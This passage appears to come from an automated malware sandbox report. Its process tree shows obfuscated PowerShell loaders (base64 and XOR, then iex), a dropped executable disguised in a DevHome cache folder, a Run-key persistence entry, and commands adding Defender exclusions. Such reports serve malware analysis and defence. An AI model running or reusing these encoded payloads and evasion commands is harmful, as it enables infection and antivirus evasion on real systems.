AbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAaQB5AGwAegB0AHoAKQApAHwAaQBlAHgA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand JABsAGUAdABhAGIAbwBwAHAAPQAnAE8AUwBjAFQAZgB6AEIANQBXAEcAZABvAFAAMwBsAFAATwBpAGsAdABHAGoAUgAyAEkAMgBaAHIATwB3AGcARABKAGwAMABQAEoARABWADIASgB5AFoAVgBKAEYATQBEAEoAaQBjAFQAUABqAE4ARABJAHkAWgBTAEsAMwA0AEYAUAB3AE0AOQBQAGoATgBEAFAAeQBCAFYAWAAzAFkAOABLAFMAZwBQAE8AegBWAHAAQQBXAFoAVQBPAGcAaABBAFAAQQBRADkASQBqAFYAcgBJADIAZABTAEEAbgBJAGEARQBRAEUASQBJAFIAcAA5AFcAQgBsAG8ATwB3AGsAYQBQAEIAVQBxAEoAVABOAG0AQgBUAGgAVgBGAFgAbABQAE8AaQBvADkASQBqAFYAdABYAEEASgBvAFgAbABBAGEASwBTAGMAUABQAFEAdAA1AFAAdwBOAG8ATgBIAFkARQBPAGkAYwB1AEsAUQBRAGMATwB5AFYAcgBPADMAWgBHAFAAegBwAGcASgB6AEIARABPAHoAeABWAEwAMwBrAEMASQBUAGMAeABPAFEAaAA1AFcARAAxAGsASgBIAEkAQQBFAEMAZwBQAE4AegBWAG0AQgBqAEYAbgBLADMANABNAEUAbAA0AGIASgBqAFYAcABDAGoARgA5AE8AbQA0AEQARQBqAGMAZgBmAHcAdAA2AEgAbQBGADcASwAxAEEAQQBLAGcASgBvAE4ARABCAG0AQQBUAGgANABLAEEAZwBSAEoAdwBJAFAAZgBSADEANwBWAEQAOQBRAEEAVwA0AGMARgB5AHcAYgBHAGoAUgAyAEkAMgBaAHIATwB3AGcARABKAGcASQBmAE8AdwB0AHAAVgBDAEoAKwBGAGsAcwBkAEsAUwBnAFQAUABBAGgARABKAHkASgA0AEsAQQBnAFIATwBTAGgAcwBmAHoATgBwAEcAbQBGACsARgBXAG8ARgBFAGcARQBMAFAARABKAHQATABHADkANABMADIAbwBEAEYAegBnAGgAUABSADUAVQBIAGoAMQBRAEoARgBCAEQARgBnAEkATABPAHcAdABIAEwARwA5ADQATAAyAG8ARABGAHoAZwBoAFAAUgA1AFUARwBXAFYAUQBLADEAUQBGAEsAVAB3AFkASQBSAHQAcABGAFcASgByAFgAMQBzAEQASQBsADEAZwBmAHoATgBBAFAARABGADkATwAxAHgARwBPAGkAcwBZAEsAUgAxADUASwB5AE4AcgBMADMAawBDAEUAUQBKAGcAZgBoAGgAdABQAHoAMQBvAEEAVQB3AGYASwBnAEoAcABQAGgAaABtAEgAbQBGADcASwAwAEEASABGAHkAZwB0AE8AUgBoAHEAWABUAEYANwBLADAAQgBDAEsAVgB3ADkATABCAHQAcABCAFMAQgBvAEEAUQBrAE0ARQBpAGMAMQBJAEIAMQBGAFcARABwAFUASgBHAGsAWgBQAGkAdwB1AEsAUgB0AHAARgBXAEoAcgBYADEAcwBEAEkAbAAxAGcAZgB6AE4AQQBQAEMAWgBwAE8ARQB0AEIATwBTAGcAeABQAFQAQQBjAE4AeQA5AHIASwB3AHcAUgBJAHoAdwBiAEIAZwB0ADIAUABDAEoAawBYAG4AWQBaAEsAVABnAEwAZgB6AE4AcABPAHoAMQBuAEsAMwA0AE0ARQBoAFkAWQBPAGcAZABwAEsAeQB4AFEAWABYAG8AZQBGAHkAZwArAEsAUgB0AHAARgBTAGQAVgBLADAAdwBCAFAAQgBVAHQAUABnAHQASABMAEQAbAA3AEsAMQBBAEYARQBsADAARABOAHcAdABwAFcAUwBOAGcAWABnAEYASABFAFEARQBJAEsAUgAxADUAQwBXAFoANABLAEgAawBHAE8AaQBjAHEAZQBSAHQAcABQAHoAOQBRAFgAbgBJAGYARQBUAHcAWQBkAHgAaAB0AFAAegBsAFQASwAwAHcAYgBFAEEASQBMAE8AdwBaAFgAUAB6AGwAVABYAG4ASQBDAEUARgAwAHgAZQB3AHQAWABXAEIAbAByAE4ARgBCAEcATwBDAHMAWQBQAFIAaAB0AFAAegBsAFQASwAwAHcAYgBFAEEASQBMAE8AeAAxAEYASQB5AEIAVgBPAHcAMQBHAE8ARABsAHAAZQBSADUAWABQAHoAbABVAEoARgBSAEEASwBTAGgAcwBJAHgAaABxAFgAVABGAFEATwAyAEUAUgBPAEMAdwBMAEoAUQBoAEQARwBUADkAbwBBAFEAZwBEAEkAUwBnAFAATgBBAGcAZABKAHkAWgBTAEoARwBvAEcARQBWADEAdABQAGgAaABtAEgAagBGADcASwAyAG8AZgBFAGwAMABUAEoAegBOADkAVwBCAE4AcgBOAEgAWQBjAEUAQQBJADEATwBUAFYAcABBAFMAQgBUAEIAWABwAFAATwBpAGcAUABQAFQASQBjAE8ARABGAFUARgBYAGsAWQBSAHgANABhAEQAeAB0AFgATAAyADkAKwBYAHcAZwBSAEsAVABnAGgATgBBAHQAOQBMADIARgArAEYAVwBvAEYARgBpAGcAOQBmAFIAaABxAFgAVABGADcASwAwAEIAQwBLAFYAdwA2AEsAVABkAHQATAB3ADUAUQBLADIANABQAEsAVAB4AG8ASABnAGgARABIAFQAcABvAFgAMgBrAFIARgBoAFkAWQBKAFEAbABYAEwAQwBKAFQAQQBXADAAUgBPAFMAZwBoAFAAegBWAHAARwBTAEYANABKAEEAaABCAEYAVABzAHQAZAB4ADQAYwBBAFQAdAA0AEwAMQA4AGQASwBTAGcAVABQAEEAaABEAEoAeQBKADYAUAAzAHAAQgBQAEIAWQBMAEoAdwBnAGQASwB5AFIANABLAEEAZwBSAEoAdwBJAFAAZgBSADEANABJAHoAeABRAEsAMgA0AGQARgB6AGcAaABJAGcAdABvAFAAegA1AFMAWABrAHcAMABLAGwAdwBMAFAAagBNAGMAVwBUAEYAOQBPAFcANQBDAEsAVABnAFgAZgB6AFYAcABPAEQARgA3AFgASABWAEEASwB5AGsAUABOAEEAdAAyAEoAeQB4AHAASwBYADQAZABFAFQAZwAxAE8AdwBsAHIASwB5AEYAUwBLAFcAbwBlAEYAeQBnAGYATABRAFYAcABWAEQAeABvAE8AMABBAFYASgBpAGcAZgBKAEQAQQBjAEsAegBoAHIATgBIAFkAVgBKAHoAZwAxAEoARABKAEQAVgBDAHgAVABYAG0ASgBHAFAAdwBNADkAUABqAE4ARABQAHkAQgBWAFgAMwBVAEQASQBsADEAZwBPAHoAVgBwAE8AeQBOAFYASwBXAG8AYQBFAFMAZwAxAGYAQQB0ADIASgAyAE4AbABPADMANABEAEsAagBnADkASQBqAEoAQwBWAFMAeABWAFgAbQA0AEUARgBqAGcAVABKAGcAdABFAEIAVAA5AG8AQQBsAHcAYQBLAHkAZwBoAE8AQQBzAGQASQBDAEYAcgBBAEUAQQB5AEUAVgAxAHMAZgBnAHQANQBXAEcAWgBqAEsAMgA0AEYARQBqAGMARABJAGoASgBBAEEAUgBoAG8ATwB3ADAAZQBLAFYAMABQAE4AeAAxAEQATwAyAEoAcgBQADEAdABCAFAAQgBZAEwAZgBEAFIARABLAHkANQBUAEEAWABFAFIASQB6AHcAYgBBAFEAdAAyAEQAaQBKAGsAWABuAFkAWgBLAFQAZwBMAGYAegBOAHAATwB6ADEAbgBLADMANABNAEUAbAA0AEwATgB6AEIANQBDAFQAaAByAE4ASABFAFIAUAB6AG8AZgBmAGcAVgBwAFYARABoAFQAWABnAHgAQgBQAEIAWQBMAGYARABSAEQASwB5ADUAVABBAFgARQBEAEkAUwBnAFAAUABRAGgAMgBCAGoARgBoAFAAMwBrAFkASgBpAGsASQBOAEIAeABvAEkARABoACsARgBrAHMAZABFAFQAYwBiAE8AegBVAGMAWABHAE4ANABLAEEAZwBSAEoAdwBJAFAAZgBSADEANABJAHoAeABRAEsAMgA0AGQARgB6AGcAaABJAGcAdABvAFAAegA1AFMAWABrAHcAagBFAEEASQAxAEkAQQBzAGMATwB5ADkANABMAHcAawAwAEYAeQBrAFgAZgBnAGgAMgBKADIAWgBWAE4ASABsAEIAUABCAFkATABPAGoASgBwAFcARwBWAFQATgBGAE0ARABJAFMAZwBQAFAAUQBoADIAQgBqAEYAaABQADMAawBZAEoAaQBrAEkATgBnAFYAOQBEAG0ARgArAEYAVwBvAEYARQBTAGcATABlAHoAVgBtAEIAUwBOAFEAQgBYAGwAUABPAGkAcABzAEkAagBWAFgAWABBAEoAbwBYAGwAQQBhAEsAUwBjAFAAUABRAHQANQBQAHcATgBvAE4ASABZAEUASgBpAGMAVABQAGoATgBEAEkAeQBaAFMASwAzADQARgBPAGkAeABvAEcARABJAGMATwB5ADkAaQBPADIAawBSAE8AUwBjAFQAZgB6AEIANQBXAEcAZABvAFAAMwBrAEMASgB5AGgAZwBJAEQATQBjAFcAQQBOAFUATgBIAG8AYQBPAGkAbwAxAE8AegBWAHAATwB5ADkAbwBPADMAWgBHAEUAagBjAEQASQBoAGgAdABYAEEAVgBWAE8AdwAwADcASwBUAGMARABJAGoATgB0AEwAeAA5AFEATwAxAHcAWgBLAFQAYwBYAGYAaAA1AFUASABqADEAVABKAEgAWQBkAEUAagB3AFkAZAB4AGgAcgBXAEQAcABWAEYAUQBrAGkASwBsADAAeABJAGcAdABtAE8AeQBWAHIATwAyAG8AagBLAGoAYwBYAFAAQQBRAGMATwAyAFoAVgBLADEAUQBEAEsAVgB3AFgARwBnAHQAMgBQAEQARgA5AE8AWAA0AEYARQBTAGgAZwBmAFEAUQBkAFAAegA1AFMAQQBtAG8AOABLAFEAUgBnAE8AdwBCAEQASwAyAFoAVgBLADIANABQAEUAagBnAFAATgBCAGgAdABYAEIATgBUAFgAZwAxAEcASgBsAHcATABPAEQASgByAEEAVAB0AGoAWABnAEUARwBFAFEASQA5AEgAagBOAEYASgB6ADUAVgBKAEcAbwBhAEUAQQBJADEASQBqAEoAWABMAEMASgBrAFgAMgBvAGUARQBBAEUATABGAGoAQgBwAE8AeQBOAGcATgBHAEkAZQBFAGoAZwBoAEoAZwBoAEQARgBUAHAANABMAHcAawAvAEUAagBnAEwASgBRAHQANQBXAFcARgArAEYAVwBvAEYARQBGADAATABQAGgAMQBGAE8AMgBKAHIATwAzAFoASABGAHkAZwAxAE8ARABOAEMAUAB5AFoAVABPADIANAA3AEUAagBoAG8AUABqAFYAdABMAEcAOQA0AEwAMQB3AG4ASgBTAHMAYgBHAGgAdABVAEgAbQBGADcASwAwAEEATQBLAFMAZwB5AE8AdwBCADUARgBTAFYAVABYADEAdwAvAEsAagBjAFQASgBRAGQAcABPAHkAOQBUAE8AMQBRAEQASwBqAGMATABJAGgAaABxAFgAVABGADcASwAyAEkAZQBFAFMAYwBYAEkAaAA1AFUASABqADEAVABKAEgAWQBkAEUAagB4AHMASABRAHQAMgBJADIAWgBvAE4ASABKAEcASQBEAGgAcwBmAGcAdAAyAEoAMgBSAG8ATwAwADgAUgBJAHoAdwBZAEkAQQBSAG8AUABDADUALwBPAFEAZwBZAFAAQgBVAHEASgBUAE4AbQBJAHoAMQBRAFAAdwAwAGwASwBUAGMAWABmAGcAaAAyAEoAMgBaAGcAWABnAEYASABFAFEARQBJAEsAUQBGADkATABDADUAOABLAEUAdABCAE8AUwBnAGgATgBBAHQAcABCAGkATgBnAE8AMABBAEYARQBWAHcAOQBDAHcAdAA1AFgARAA1AFQAQQBXAG8AaQBGAHkAZwBmAE4AegBWAHQATABHADkANABMADIAbwBiAEsAagBnAGgATgBBAHQANgBIAG0ARgA3AEsAMABBAE0ASwBTAGcAeQBPAHcAUQBkAFAAegA1AFMAQQBtAG8AdQBFAGkAZwBQAE8AdwBCADIATgB6ADUAUQBPADAAQQBlAEsAZwBJAGgASQBoAGgAcQBYAFQARgA3AEoARwBvAFAARgB6AGcATQBlAFIANQBYAFAAeQBWAFMAWABtAG8ARwBQAHcATQA5AEoAagBBAGMATwB3AE4AVABYAFgASgBIAEUAUQBZAFkAZAB4AGgAdABQADIAWgBTAEEAbQA0AGEAUABCAFUAcQBKAFQATgBEAE8AegBwAFUATwAwAEEARQBPAGkAdABwAEsAUgBoAEgAUABEAGwANwBLADIAbwBmAEUAbAAwAFQASgB6AE4AOQBXAEEATgBvAE4ASABZAEUASgB3AEkAZgBPAGcAdAA5AEEAegA5AGUASgBYAGsAZgBQAEIAVQB0AGYAagBKAEEAQgBqAEYAVQBGAGsAcwBkAEUAUQBJAEwAZgBnAGgARABCAFQAbABTAEwAMwBsAFAATwBpAGsAVABJAGcAcwBjAEEAUwB4AFYASwAyADQAUABQAHoAawBYAEoARABCAHAATwB6ADEAVgBPADAAQQBhAEsAUwBrAEwASgBqAEkAYwBIAGoARgA5AE8AWAA0AGMARgB5AGcAMQBPAEQATgBIAEwARAAxAG8AQQBYAFkATwBFAGgAWQBZAE8AZwBkAG0ASgB5AFoAcgBYAGwAdwBhAEUAQQBZAGIARAB4AHAAdABQADIAUgBVAEEAWAA0AE8ARQBRAEkAUQBQAFIAaAB0AFAAeQBKAFMASwB3ADEARgBFAFQAYwB5AFAAaABoAHQAWABBAGQAUwBBAFYAUQBEAEsAbAAwADEATwBRAGgANQBHAGoARgA3AEsAMABBAEYASwBTAGMAMQBmAGoAUgBwAFcAQwBkADQATAB3AGsAaQBLAFQAYwBMAGYAagBCADUAVwBEAGgAUwBGAFgAawBkAEUAUwBjAFgASgBUAEIAOQBMAEMASgBuAEsAMwA0AE0ARQBsADkAcwBKAGoATgA1AE8ARABGADcASwB3ADAAYQBLAFQAYwAxAFAAVABCAFgATABDAEoAbgBLADMANABNAEUAbAA0AGIASgBqAFYAcABDAGoARgA3AEsAMABBAEgARgB5AGcAdABPAFIAaAB0AFgAQgBOAHIATgBIAFkAYwBFAEEASQAxAE8AVABWAHAAQQBTAEIAVABCAFgAawBkAEUAaQBjAHgAZQB6AFIARABQAHkATgByAEIAWABrAEMASQBRAEoAZwBOAHcAZwBjAE8ARwBGACsAWABsAFEAYgBPAGkAdwArAEoAVABOAEQAUAAyAFoAbwBBAFYAQQBaAEUAQwB3AHkASwBUAFIAWABMAHoAcABVAEsAMQBSAEcATwBpAHMAWQBLAFQAZAA5AEwAegBwAFQASgBIAFkAYQBPAGkAYwBxAEsAUQB0ADIAQgBTAFoAVgBMADMAawBPAE8AaQBkAHAAZQBUAGQAOQBMAHoAeABvAE4ARwBvAGMARQBpAHcAYgBlAFIAaABwAE8AMgBKAFEATgBHAGsAUgBQAGoAdwBiAGQAeAA0AGQAWABXAEYAcgBOAEYAQQBHAEYAeQB3AFkATgBnAD0APQAnADsAJABhAHAAbQByAGkAPQAnAHMAbwBZAE4AUQAuAG0AVgAxAGwAOAB2ACcAOwAkAHMAawB6AHAAeQBzAGEAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbABlAHQAYQBiAG8AcABwACkAOwAkAGEAYwBtAHQAZgA9ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAAoAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJABzAGsAegBwAHkAcwBhAC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAHMAawB6AHAAeQBzAGEAWwAkAGkAXQAtAGIAeABvAHIAWwBiAHkAdABlAF0AJABhAHAAbQByAGkAWwAkAGkAJQAkAGEAcABtAHIAaQAuAEwAZQBuAGcAdABoAF0AfQApACkAKQA7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhAGMAbQB0AGYAKQApAHwAaQBlAHgA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5348

C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.DevHome_0wekyb1c8bbwe\cache\AppxService.exe
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.DevHome_0wekyb1c8bbwe\cache\AppxService.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4652
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand JABnAHQAcABjAGEAegBmAHkAPQAnAE0AVQBrAEIASAB5AGMAbwBJADAANAB0AEIAeABzAFgAUABVAGcARgBEAFMAYwAvAE0ARQAwAGEAZgBEAFUATgBCAHgAUQBkAEcAQgA0AFIAQwBrAGsAeABEAEcAQQBqAEIAeABjADMAUgBpAFkAUgBKAEUAOABjAEMAaQBrAFIAQgAwAGsAQwBFAEEANAAvAFEAMwA0AGEAZgBXAEEAVgBQAFMAMQBtAEgAQQAwAEQATgBGAEUAaQBEAEcAQQB2AEIAegB3AFIARABoADQAUgBLAEYAWQBiAEkAZwBjAFUAUABVAGcARwBFAEEAZwBUAEoAQQA0AGgAZgBTAGwAUQBCADAAZwAvAEEAUwBZAHEATQBGAEkAYwBDAEQAWQBHAEwAZwBNADMATQB3AHMAcQBDAG0AdwBiAGYAUQBjAFkAQgAwAHMAcgBOAFIANABCAFEAMABvAGEASgBqAEkAUABMAGcATQBTAEEAeABJAHIASgBFAE0AaABKAGgATQB5AEEAQwAxAG0ATgBTAGMALwBNADAANAB1AGYAVAAwAFUAUABqADEAcQBSAEIARgAxAEkAQQA4AGEAQwBBAFEARwBOAHoAMAAvAEgAQgA0AEIASgBFADgAPQAnADsAJABxAGMAZwBoAHkAPQAnAGQAegBTAHcARABGAHIAOgB4AE8AUQBhACcAOwAkAHgAZgBpAGgAcAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABnAHQAcABjAGEAegBmAHkAKQA7ACQAbQB1AHYAdgA9ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAAoAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJAB4AGYAaQBoAHAALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAeABmAGkAaABwAFsAJABpAF0ALQBiAHgAbwByAFsAYgB5AHQAZQBdACQAcQBjAGcAaAB5AFsAJABpACUAJABxAGMAZwBoAHkALgBMAGUAbgBnAHQAaABdAH0AKQApACkAOwBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbQB1AHYAdgApACkAfABpAGUAeAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand JAB0AHMAdwBwAGwAZABkAD0AJwBPAHcAVQBFAFcARABvAE4ARwBDAE4AawBHAEMARQBtAE4AdwBRAEEAUwBqAG8AYQBDAHkAQgBUAFkAdwA4ADgARABWAGcAWQBYAHcATQAwAE0AUwBSADQARQAxAG8AUwBEAFYAcwB5AEEAVABzADAASAB5AEoAVgBGAFIATQBnAEQAUQBVAEgAVgB4AE0AYQBlAEIATgBUAFkAbABvAGsATgAyAEYAagBXAHgAQQBtAEQAegB4AHIARQAxAG8AZQBEAFgAQQBVAFMAUQBNADAARQB6AHQAUwBQAFQAMABsAE4AdwBRAEQAVgB4AFUAMgBIADIATgBvAFkAaABOAGgARABRAFEANgBSAGoAcwBQAEMAegA5AFYARgB3AHcAMwBKAEUAOAB5AGQAQgBZAFAATQBRAEYAUwBZAGoAMABwAEQAUQBjAHUAYwBnAE0AawBlAEMAZABUAFAAQgBNAFMARABYADQAVQBkAFEAQQA3AEcAegA5ADcASwBRAGcAKwBKADMAVgBuAFoAdwBNADcAQQB6ADUANABGAGkARgBoAEQARgAwAFEAUwBoAEEAZwBlAEEAOQBRAEIAMQA0ADcARABBAFUAeQBaAEQAMAByAEoAUwBSAHIAQQB5AGsAWgBEADIARQBFAFcAdwBNADAAZgBXAG8APQAnADsAJAB1AGwAegB6AGgAYgA9ACcAbgA2AFYAMABZAGMASQBXADEAUABrAFAAJwA7ACQAZQB3AHEAbAB3AGgAbQBoAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAcwB3AHAAbABkAGQAKQA7ACQAagBuAG0AawBzAGEAdgBkAD0AKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkACgAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAGUAdwBxAGwAdwBoAG0AaAAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABlAHcAcQBsAHcAaABtAGgAWwAkAGkAXQAtAGIAeABvAHIAWwBiAHkAdABlAF0AJAB1AGwAegB6AGgAYgBbACQAaQAlACQAdQBsAHoAegBoAGIALgBMAGUAbgBnAHQAaABdAH0AKQApACkAOwBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAagBuAG0AawBzAGEAdgBkACkAKQB8AGkAZQB4AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand JABrAHYAcQBjAHMAcQA9ACcAQwB3AHgAdwBVAHkASQBtAEsAUQAwAFQAUQBWAHgAUgBDAEEAQQBHAEEAQgBSADUAQQAxAE0AcABRAFcAbwBQAEkAeABjAEQATQB4AGsAZgBBADEAYwBwAEgAMQBSAFQASgBCAGMARABOAGkAQQBsAEkAUgBNAFQAUQBGAFEAVQBHAEIATgBCAEUAaABWADYASQBSAE0AUQBOAFEARgBRAEkAbgBSAGEARABCAGsAZgBlAEYAWQByAEsAbQBwAFcARwBSAEIAWgBVAFIARgA2AEcAMQBZAGIAUQBXADQAYQBJAGkAbABnAEUAaQBjAEwASwBoAFkARwBHAFEAMABMAEkAeABOAGoAVQBBAHcAeABIADEAUQByAEsAbAB3AFQASQAzAGQAdwBEAGgAbwBiAEQARgA4AEQATgAxAHcAUABKAFEAYwBIAE0AeABwADYASgBRAG8AUQBPAG0ANABRAEcAeABOAGsATQBoAG8AUQBBAHgAUQBEAE8AawA4AEUARgBIAFoAZwBGAEIAawBmAEEAMQBZAEcASgB3AEUASwBJAEMAbABnAEQAUwBjAEwARABCAEkAWQBLAGwAQQBVAEcAQgBNAEQARABCAFkAQQBCAHgAQQBwAE4AVwA0AGEASgBRAHgAZABBAEIAVQBQAEMAeAB3AHIAUQAzAG8ATABKAFEATgBSAEEAQQA4AGUARwB4AE0AcgBLAG4ANQBTAEcAeABCAEYAVQBBAGsAUABGAHgAUQBRAEoAWABJAGIASQBoAE0ARABVAHcAbwBNAGYAUQBFAGUASAAyADUAUQBEAFIARQBQAEQAaQBJAGwARwB3AHcAdQBNAFgAbwAzAEoAQgB4ADQAVgB4AGsAZgBmAFIATQBmAEgAMwA0AFcARwB3AE0AUABFAHcAdwB5AFAAZwAwAHUASAAzAFkATwBHAHkAMQAzAFgAZwBvAEwASAB4AE0AdQBKAFUAQQBRAEQAagA1AEYARABDAEUAbABKAFIARQBvAE4AVwBrAEUARQBSAGQAMwBEAEMARQBtAEcAeABVAG8ATgBrAHQAVQBDAHcAeAA0AEQAaABrAFAASgBRAHcAdgBHADMAbABhAEMAQQBkAGsARQBpAGMAZgBOAFIAVQBGAEMARQB4AFEASQBBAE4AYQBGAEIAawBiAEQAQQBrAEEATwBtAEkAVABKAFgAWgBhAEUAUwBBAGYAQgB3ADQARwBHAFgAWQBWAEoAUgBNAEQAVgB3AG8ATABmAEEAZwB1AE0AWABrAFUAQwBBAGMASABEAHkARQBsAEgAQQBFAEcASgBRADAAVgBKAFEAZAAzAEQAQwBjAGwAQQB3AHMAUQBHADEATQBFAEoARAA1AEYARABDAEUAbABKAFIARQBvAE4AVwBrAEUARQBSAGQAMwBEAEMAYwBsAEkAVgBVAHIASgBRAEUAYgBHAEMAbAB3AEIAUQBrAFAARgB4AFEAUQBKAFgASQBiAEkAaABNAEQAVQB3ADgAagBlAEEAbwB2AE8AbQBrAE0ARABBAGQAQgBBAEEAawBBAEYAeABZAHUAUQBGAFEAVgBJAGgATgA4AEQAdwA4AGoAQQB4AEEAdQBKAFEAMQBUAEMAaABJAEcAVQBBAHcAeABIAHcAdwBwAE8AbgBvAFgASQB4AGQAMwBYAGcAbwBOAEsAUQBvAHUATQBRAGsAMwBHAEgAWgBlAEMAeABrAEEARwB4AFUAUQBKAFcAbwAyAEcAQgB4ADQARgBRAG8ATABmAEQATQBUAEsAbgBZAFIARgBBAE4AdwBWAHkASQBMAEQAQQAwAG8ASAAxAEEAVQBJAHcATgBuAFUAQQB4ADYASQBRAHMARABNAFYAOABJAEcASABkADAARQBDAEUAZgBmAFIATQBiAFEAQQBGAFMASQB5AHAAbgBBAEEAOABmAEsAVgBZAEQATgBuAGsAVABDAEEAeABGAFUAQQBrAEEARgB3AHcAUQBIADIARQBFAEUAUgBkADMARABCAHAANwBEAHgARQBvAEoAUQBrAEIAQwB3AE4AcwBGAFIAawBmAEIAeAA0AHAASgBRADEAWABEAFMAOABEAEMAeQBZAEEASABBAGsASABNAFUAOABFAEMAdwBOADQARQBDAEEAUABmAEIASQBHAEcAWABZAFYASgBSAE0ARABWAHcAZwBlAGYAVgBFAEYAQwAyAG8AWgBHAEMAbABrAEMAQgBwADcASQBnAEUAYQBJAFgAbwBUAEcAeQAxADMAQwBBAGsAQQBGAHcAdwBRAEgAMgBFAFcARQB3AE4AZwBIAFIAcAA3AEIAeABZAHAATwBtAG8AVABJADMAWQBDAEYAdwBvAEEAUABnAEUAQQBPAG0ASQBKAEcAeQBsAHYARQBoAEUAUABHAHgAdwBUAFEAWABJAFQASQBnAHgAawBGAHkARgA2AGUAUQBFAHMASQBYAG8AUABJAHcAeAA0AEMAdwBvAEEAUABnAEUAQQBXAFgATQBFAEoAZwBkAFYAQQBDAFUAYwBQAGwARQBzAEkAWABvAFAASQB3AHgANABDAHcAbwBBAFAAbABFAEEATwBtAEkAVABKAFgAWgBhAEUAUwBBAGYAQgB3ADQARABOAGcAZwBFAEMAdwB4AHMARgB5AGQANgBJAFIAQQBwAEoAWABJAEwAQwBBAHgAQgBBAEIAVgA2AEoAUQBvAHAASAAyADAAWABGAFgAWgA4AEYAaABrAGYAQQAxAFkARABPAGsAcwBFAEMAdwBJAE8AQQBBADgAZgBlAEEAbwBEAE0AVwBvAFcASQBBAHgAMABGAEIAawBMAEQAMQA4AEYAQwBFAHgAYQBEAG4AYwBHAFUAQwBJAGYARgBBAEUAQgBNAFcAcABSAEcASABaAHMAQwBnAGcAYgBEADEARQBGAEMAMgBvAEwARwBIAFoAQwBGAEEAbwBNAGYAUQBFAGUASAAyADUAUQBEAFIASgA0AEQAUwBJAFAARwB3ADAAdQBKAFUAQQBQAEcAdwBKAGsARAB5AEIANgBPAFMAUQBUAFEAVwBvAFQASQAzAFkAQwBBAEEAOABkAEcAMQBJAFEASgBYAFoAUwBKAFEATgBqAEEAQQBsADQAQQBGAEEAUwBOAEcANABaAEcAeAB4ADgASABSAHMATgBDAHcAMABvAEoAVgBRAFcARwBRAEYAdwBFAEMAQQBOAEgAdwA0AHUATgBYADQAQQBGAFEATQBQAEQAUgBvAGYATgBRAFUAZgBOAFgANABKAEkASABaAHcAQwBSAGsAUQBBAHcAVQBlAEoAVgBRAEoASQBpAGsAUABIAFMARgA2AEYAMQBZAEcASABsAHcAVABJAHkA